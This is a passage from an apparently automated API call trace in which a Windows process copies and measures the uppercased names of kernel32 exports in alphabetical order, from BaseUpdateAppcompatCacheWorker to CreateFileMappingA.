lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0093.703] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0093.703] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0093.703] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0093.703] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0093.703] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0093.703] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0093.703] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0093.703] lstrcpyA (in: lpString1=0x21fdb04, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0093.703] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0093.703] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0093.703] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0093.703] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0093.703] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0093.703] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0093.703] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0093.704] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0093.704] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0093.704] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0093.704] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0093.704] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0093.704] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0093.704] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0093.704] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0093.704] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0093.704] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0093.704] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0093.704] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0093.704] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0093.704] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0093.704] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0093.705] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0093.705] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0093.705] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0093.705] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0093.705] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0093.705] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0093.705] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0093.705] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0093.705] lstrlenA (lpString="BEEP") returned 4 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0093.705] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0093.705] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0093.705] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0093.705] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0093.705] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0093.705] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0093.705] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0093.706] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0093.706] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0093.706] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0093.706] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0093.706] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0093.706] lstrlenA (lpString="CANCELIO") returned 8 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0093.706] lstrlenA (lpString="CANCELIOEX") returned 10 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0093.706] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0093.706] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0093.706] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0093.706] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0093.706] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0093.706] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0093.706] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0093.706] lstrlenA (lpString="CHECKELEVATION") returned 14 [0093.706] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0093.707] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0093.707] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0093.707] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0093.707] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0093.707] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0093.707] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0093.707] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0093.707] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0093.707] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0093.707] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0093.707] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0093.707] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0093.707] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0093.707] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0093.707] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0093.707] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0093.707] lstrlenA (lpString="CLOSESTATE") returned 10 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0093.708] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0093.708] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0093.708] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0093.708] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0093.708] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0093.708] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0093.708] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0093.708] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0093.708] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0093.708] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0093.708] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0093.708] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0093.708] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0093.708] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0093.708] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0093.708] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0093.709] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0093.709] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0093.709] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0093.709] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0093.709] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0093.709] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0093.709] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0093.709] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0093.709] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0093.709] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0093.709] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0093.709] lstrlenA (lpString="COPYCONTEXT") returned 11 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0093.709] lstrlenA (lpString="COPYFILE2") returned 9 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0093.709] lstrlenA (lpString="COPYFILEA") returned 9 [0093.709] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0093.710] lstrlenA (lpString="COPYFILEEXA") returned 11 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0093.710] lstrlenA (lpString="COPYFILEEXW") returned 11 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0093.710] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0093.710] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0093.710] lstrlenA (lpString="COPYFILEW") returned 9 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0093.710] lstrlenA (lpString="COPYLZFILE") returned 10 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0093.710] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0093.710] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0093.710] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0093.710] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0093.710] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0093.710] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0093.710] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0093.710] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0093.710] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0093.710] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0093.711] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0093.711] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0093.711] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0093.711] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0093.711] lstrlenA (lpString="CREATEEVENTA") returned 12 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0093.711] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0093.711] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0093.711] lstrlenA (lpString="CREATEEVENTW") returned 12 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0093.711] lstrlenA (lpString="CREATEFIBER") returned 11 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0093.711] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0093.711] lstrlenA (lpString="CREATEFILE2") returned 11 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0093.711] lstrlenA (lpString="CREATEFILEA") returned 11 [0093.711] lstrcpyA (in: lpString1=0x21fdb04, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0093.711] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 